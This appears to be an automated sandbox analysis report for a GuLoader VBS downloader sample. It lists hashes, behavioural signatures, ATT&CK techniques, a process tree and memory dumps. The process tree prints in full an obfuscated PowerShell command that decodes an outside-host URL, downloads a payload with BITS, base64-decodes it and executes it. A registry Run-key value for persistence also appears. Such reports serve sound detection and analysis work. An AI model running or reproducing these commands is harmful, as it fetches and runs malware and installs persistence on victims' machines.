guloader | ffe477577469c87c606e0cbd9d0da68446cd8d895e4f4ab0a083f0a05ac8ab20

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2023, 03:36

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General

Target

Vejlensisk90.vbs
Size

34KB
MD5

5794e47d892a3cab512697ca7dc223f4
SHA1

91f1ac9d1f3209bc5d1bc790319c3675d5a201ed
SHA256

ffe477577469c87c606e0cbd9d0da68446cd8d895e4f4ab0a083f0a05ac8ab20
SHA512

3699ec735f33e5b9c2c2d5b18ee75e15b736205adf65db8d30df0b56e7c5b0054f73d1eeb6f01e0e85aacbc5ea6cd004bd90c3f8c84b18db5cdf6ee3c2a1d228
SSDEEP

768:UObCrpGDPcJLDAxj/gqJ77UgZw3d81bXK4HkMCYFN:J2rpkP2DABveKwNSbXFN

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2720	WScript.exe

Checks QEMU agent file 2 TTPs 2 IoCs

Checks presence of QEMU agent, possibly to detect virtualization.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	powershell.exe
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	ielowutil.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Windows\CurrentVersion\Run	ielowutil.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rundvisn163 = "%TORO% -w 1 $Unludicrou=(Get-ItemProperty -Path 'HKCU:\\Wreak\\').Stemningsb52;%TORO% ($Unludicrou)"	ielowutil.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1620	ielowutil.exe
1620	ielowutil.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
488	powershell.exe
1620	ielowutil.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 488 set thread context of 1620	488	powershell.exe	116

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4220	powershell.exe
4220	powershell.exe
488	powershell.exe
488	powershell.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe
488	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeDebugPrivilege	488	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1620	ielowutil.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2720 wrote to memory of 4220	2720	WScript.exe	89
PID 2720 wrote to memory of 4220	2720	WScript.exe	89
PID 4220 wrote to memory of 488	4220	powershell.exe	91
PID 4220 wrote to memory of 488	4220	powershell.exe	91
PID 4220 wrote to memory of 488	4220	powershell.exe	91
PID 488 wrote to memory of 3120	488	powershell.exe	105
PID 488 wrote to memory of 3120	488	powershell.exe	105
PID 488 wrote to memory of 3120	488	powershell.exe	105
PID 488 wrote to memory of 5028	488	powershell.exe	106
PID 488 wrote to memory of 5028	488	powershell.exe	106
PID 488 wrote to memory of 5028	488	powershell.exe	106
PID 488 wrote to memory of 4384	488	powershell.exe	107
PID 488 wrote to memory of 4384	488	powershell.exe	107
PID 488 wrote to memory of 4384	488	powershell.exe	107
PID 488 wrote to memory of 1520	488	powershell.exe	108
PID 488 wrote to memory of 1520	488	powershell.exe	108
PID 488 wrote to memory of 1520	488	powershell.exe	108
PID 488 wrote to memory of 2068	488	powershell.exe	109
PID 488 wrote to memory of 2068	488	powershell.exe	109
PID 488 wrote to memory of 2068	488	powershell.exe	109
PID 488 wrote to memory of 4016	488	powershell.exe	110
PID 488 wrote to memory of 4016	488	powershell.exe	110
PID 488 wrote to memory of 4016	488	powershell.exe	110
PID 488 wrote to memory of 4580	488	powershell.exe	111
PID 488 wrote to memory of 4580	488	powershell.exe	111
PID 488 wrote to memory of 4580	488	powershell.exe	111
PID 488 wrote to memory of 3456	488	powershell.exe	112
PID 488 wrote to memory of 3456	488	powershell.exe	112
PID 488 wrote to memory of 3456	488	powershell.exe	112
PID 488 wrote to memory of 4644	488	powershell.exe	113
PID 488 wrote to memory of 4644	488	powershell.exe	113
PID 488 wrote to memory of 4644	488	powershell.exe	113
PID 488 wrote to memory of 3860	488	powershell.exe	114
PID 488 wrote to memory of 3860	488	powershell.exe	114
PID 488 wrote to memory of 3860	488	powershell.exe	114
PID 488 wrote to memory of 3404	488	powershell.exe	115
PID 488 wrote to memory of 3404	488	powershell.exe	115
PID 488 wrote to memory of 3404	488	powershell.exe	115
PID 488 wrote to memory of 1620	488	powershell.exe	116
PID 488 wrote to memory of 1620	488	powershell.exe	116
PID 488 wrote to memory of 1620	488	powershell.exe	116
PID 488 wrote to memory of 1620	488	powershell.exe	116

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Vejlensisk90.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Foetureta9 ([String]$Eddikeb){For($Modemets=1; $Modemets -lt $Eddikeb.Length-1; $Modemets+=(1+1)){$mdeaftens=$mdeaftens+$Eddikeb.Substring($Modemets, 1)};$mdeaftens;}$cate=Foetureta9 ' hAt t p :U/P/A1B9 4N.B1F8 0 .b4 8R.A2K1H1 / z a rPaN/FDPeHdEeTp sHe uSd 5L2T. t o cH ';$mdeaftens01=Foetureta9 ' iOeTx ';$Sacr = Foetureta9 'T\Es ySsUwHo w 6 4S\PW iSn dSo wBsEP o w e rOSHhReKl lS\ vD1W.B0 \ p o wmeMr srhOe lAlF.me xSe ';.($mdeaftens01) (Foetureta9 'S$ RDa vGkBn o p 2G= $CeOn vS:FwriPnSdRi rT ') ;.($mdeaftens01) (Foetureta9 'C$GS aScRrp=D$ R a vAk nCoapR2A+ $ SpaKcTr ') ;.($mdeaftens01) (Foetureta9 'H$ Y aErDlA D= (A( g wsm iS LwIi nA3 2 _ pBrSoDc ePs s -DF PTrDo c eMsSsRI dG=S$N{AP I D }U) .FC oUm mCa nTdFLLiOnBeS) S- sUpSl i tC [Lc h aDr ]N3 4S ');.($mdeaftens01) (Foetureta9 ' $IF o rPsDbPnS1 3C3M G= A$MYGa r lu[ $ YTaAr lP.Scbo u n tG-C2 ] ');.($mdeaftens01) (Foetureta9 'H$MM o dAe lO= (RTAeHs t - PcaUtWh R$AS aRcNr )K e- A nEdA S( [DIDnbtAP tNr ]H:R: sFi z e - e q R8B) ') ;if ($Model) {.$Sacr $Forsbn133;} else {;$mdeaftens00=Foetureta9 'SS tGaDrSt -UB iOtDsITArBaEnBs f e r G- S oruSrsc eN S$ c a tFeU -DDSe sSt i n aDtRi oRnC Y$PR aWvdkUn o p 2F ';.($mdeaftens01) (Foetureta9 'S$TRKaAvIk nSo pF2L=N$ eRn vs:TaBp ppdOaKtIaJ ') ;.($mdeaftens01) (Foetureta9 'WIUmmpTo r tP-BMGoFdPuBl e UBRiBt s TSr aUnts fSeBrG ') ;$Ravknop2=$Ravknop2+'\Raao.pal';while (-not $Forhandle10) {.($mdeaftens01) (Foetureta9 'M$ F oPrPhba nLd l eI1F0N=D(RTJeOsFt -KP aBtJhh K$ERAa vhk nPo ps2T)H ') ;.($mdeaftens01) $mdeaftens00;.($mdeaftens01) (Foetureta9 ' SMt aSrAt -OS lCe eDpb 5 ');}.($mdeaftens01) (Foetureta9 ' $FFFoSe tUu r eGtMaf N=E AG ertS- CCoAnItGeRnBtR P$ R aMvTk nAo p 2 ');.($mdeaftens01) (Foetureta9 ' $ PJeFlUoSt oJn P= K[UScy s tUePmP. CJoAn vUe r t ]R: : FOr oTmvBFa s eM6 4DS tHr iFnWgL(s$CFJo e tDu r eSt a )R ');.($mdeaftens01) (Foetureta9 'P$ mCdEeTaTf taeRn s 2E =T [ASMyKs t e mK.PTReLx t .VERn c o d i nMgE] :C:uARSJC ILIH.CGDeftTS t r i nHg (N$SPCeSl o tSoEnS) ');.($mdeaftens01) (Foetureta9 'A$TN o nrcso =F$Um dIeBa fRtTeVnAsO2S.BsEu bPsCt rCifnGgS(S1Z8B8 2 6 4 ,T1M9c3B3 5B)F ');.($mdeaftens01) $Nonco;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Foetureta9 ([String]$Eddikeb){For($Modemets=1; $Modemets -lt $Eddikeb.Length-1; $Modemets+=(1+1)){$mdeaftens=$mdeaftens+$Eddikeb.Substring($Modemets, 1)};$mdeaftens;}$cate=Foetureta9 ' hAt t p :U/P/A1B9 4N.B1F8 0 .b4 8R.A2K1H1 / z a rPaN/FDPeHdEeTp sHe uSd 5L2T. t o cH ';$mdeaftens01=Foetureta9 ' iOeTx ';$Sacr = Foetureta9 'T\Es ySsUwHo w 6 4S\PW iSn dSo wBsEP o w e rOSHhReKl lS\ vD1W.B0 \ p o wmeMr srhOe lAlF.me xSe ';.($mdeaftens01) (Foetureta9 'S$ RDa vGkBn o p 2G= $CeOn vS:FwriPnSdRi rT ') ;.($mdeaftens01) (Foetureta9 'C$GS aScRrp=D$ R a vAk nCoapR2A+ $ SpaKcTr ') ;.($mdeaftens01) (Foetureta9 'H$ Y aErDlA D= (A( g wsm iS LwIi nA3 2 _ pBrSoDc ePs s -DF PTrDo c eMsSsRI dG=S$N{AP I D }U) .FC oUm mCa nTdFLLiOnBeS) S- sUpSl i tC [Lc h aDr ]N3 4S ');.($mdeaftens01) (Foetureta9 ' $IF o rPsDbPnS1 3C3M G= A$MYGa r lu[ $ YTaAr lP.Scbo u n tG-C2 ] ');.($mdeaftens01) (Foetureta9 'H$MM o dAe lO= (RTAeHs t - PcaUtWh R$AS aRcNr )K e- A nEdA S( [DIDnbtAP tNr ]H:R: sFi z e - e q R8B) ') ;if ($Model) {.$Sacr $Forsbn133;} else {;$mdeaftens00=Foetureta9 'SS tGaDrSt -UB iOtDsITArBaEnBs f e r G- S oruSrsc eN S$ c a tFeU -DDSe sSt i n aDtRi oRnC Y$PR aWvdkUn o p 2F ';.($mdeaftens01) (Foetureta9 'S$TRKaAvIk nSo pF2L=N$ eRn vs:TaBp ppdOaKtIaJ ') ;.($mdeaftens01) (Foetureta9 'WIUmmpTo r tP-BMGoFdPuBl e UBRiBt s TSr aUnts fSeBrG ') ;$Ravknop2=$Ravknop2+'\Raao.pal';while (-not $Forhandle10) {.($mdeaftens01) (Foetureta9 'M$ F oPrPhba nLd l eI1F0N=D(RTJeOsFt -KP aBtJhh K$ERAa vhk nPo ps2T)H ') ;.($mdeaftens01) $mdeaftens00;.($mdeaftens01) (Foetureta9 ' SMt aSrAt -OS lCe eDpb 5 ');}.($mdeaftens01) (Foetureta9 ' $FFFoSe tUu r eGtMaf N=E AG ertS- CCoAnItGeRnBtR P$ R aMvTk nAo p 2 ');.($mdeaftens01) (Foetureta9 ' $ PJeFlUoSt oJn P= K[UScy s tUePmP. CJoAn vUe r t ]R: : FOr oTmvBFa s eM6 4DS tHr iFnWgL(s$CFJo e tDu r eSt a )R ');.($mdeaftens01) (Foetureta9 'P$ mCdEeTaTf taeRn s 2E =T [ASMyKs t e mK.PTReLx t .VERn c o d i nMgE] :C:uARSJC ILIH.CGDeftTS t r i nHg (N$SPCeSl o tSoEnS) ');.($mdeaftens01) (Foetureta9 'A$TN o nrcso =F$Um dIeBa fRtTeVnAsO2S.BsEu bPsCt rCifnGgS(S1Z8B8 2 6 4 ,T1M9c3B3 5B)F ');.($mdeaftens01) $Nonco;}"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:488
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:3120
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:5028
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:4384
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:1520
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:2068
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:4016
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:4580
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:3456
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:4644
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:3860
  - - C:\Program Files (x86)\internet explorer\ieinstal.exe
      "C:\Program Files (x86)\internet explorer\ieinstal.exe"
      4⤵
      PID:3404
  - - C:\Program Files (x86)\internet explorer\ielowutil.exe
      "C:\Program Files (x86)\internet explorer\ielowutil.exe"
      4⤵
      Checks QEMU agent file
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:1620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xr2azpp.wv4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/488-168-0x00000000077D0000-0x0000000007E4A000-memory.dmp

Filesize
6.5MB

Download
memory/488-171-0x0000000007350000-0x0000000007372000-memory.dmp

Filesize
136KB

Download
memory/488-181-0x00000000089B0000-0x000000000E48F000-memory.dmp

Filesize
90.9MB

Download
memory/488-182-0x0000000007EC0000-0x0000000007EC1000-memory.dmp

Filesize
4KB

Download
memory/488-150-0x0000000002860000-0x0000000002896000-memory.dmp

Filesize
216KB

Download
memory/488-151-0x0000000005270000-0x0000000005898000-memory.dmp

Filesize
6.2MB

Download
memory/488-152-0x00000000051B0000-0x00000000051D2000-memory.dmp

Filesize
136KB

Download
memory/488-154-0x0000000005B00000-0x0000000005B66000-memory.dmp

Filesize
408KB

Download
memory/488-153-0x0000000005A90000-0x0000000005AF6000-memory.dmp

Filesize
408KB

Download
memory/488-160-0x0000000002810000-0x0000000002820000-memory.dmp

Filesize
64KB

Download
memory/488-161-0x0000000002810000-0x0000000002820000-memory.dmp

Filesize
64KB

Download
memory/488-166-0x0000000006170000-0x000000000618E000-memory.dmp

Filesize
120KB

Download
memory/488-167-0x0000000002810000-0x0000000002820000-memory.dmp

Filesize
64KB

Download
memory/488-179-0x0000000002810000-0x0000000002820000-memory.dmp

Filesize
64KB

Download
memory/488-178-0x0000000002810000-0x0000000002820000-memory.dmp

Filesize
64KB

Download
memory/488-169-0x0000000006700000-0x000000000671A000-memory.dmp

Filesize
104KB

Download
memory/488-177-0x0000000002810000-0x0000000002820000-memory.dmp

Filesize
64KB

Download
memory/488-172-0x0000000008400000-0x00000000089A4000-memory.dmp

Filesize
5.6MB

Download
memory/488-173-0x00000000077A0000-0x00000000077B4000-memory.dmp

Filesize
80KB

Download
memory/488-170-0x00000000073F0000-0x0000000007486000-memory.dmp

Filesize
600KB

Download
memory/1620-183-0x0000000000C00000-0x00000000066DF000-memory.dmp

Filesize
90.9MB

Download
memory/1620-184-0x0000000000C00000-0x00000000066DF000-memory.dmp

Filesize
90.9MB

Download
memory/1620-186-0x0000000000C00000-0x00000000066DF000-memory.dmp

Filesize
90.9MB

Download
memory/4220-174-0x0000015BBEAA0000-0x0000015BBEAB0000-memory.dmp

Filesize
64KB

Download
memory/4220-176-0x0000015BBEAA0000-0x0000015BBEAB0000-memory.dmp

Filesize
64KB

Download
memory/4220-175-0x0000015BBEAA0000-0x0000015BBEAB0000-memory.dmp

Filesize
64KB

Download
memory/4220-147-0x0000015BBEAA0000-0x0000015BBEAB0000-memory.dmp

Filesize
64KB

Download
memory/4220-142-0x0000015BA4E70000-0x0000015BA4E92000-memory.dmp

Filesize
136KB

Download
memory/4220-149-0x0000015BBEAA0000-0x0000015BBEAB0000-memory.dmp

Filesize
64KB

Download
memory/4220-148-0x0000015BBEAA0000-0x0000015BBEAB0000-memory.dmp

Filesize
64KB

Download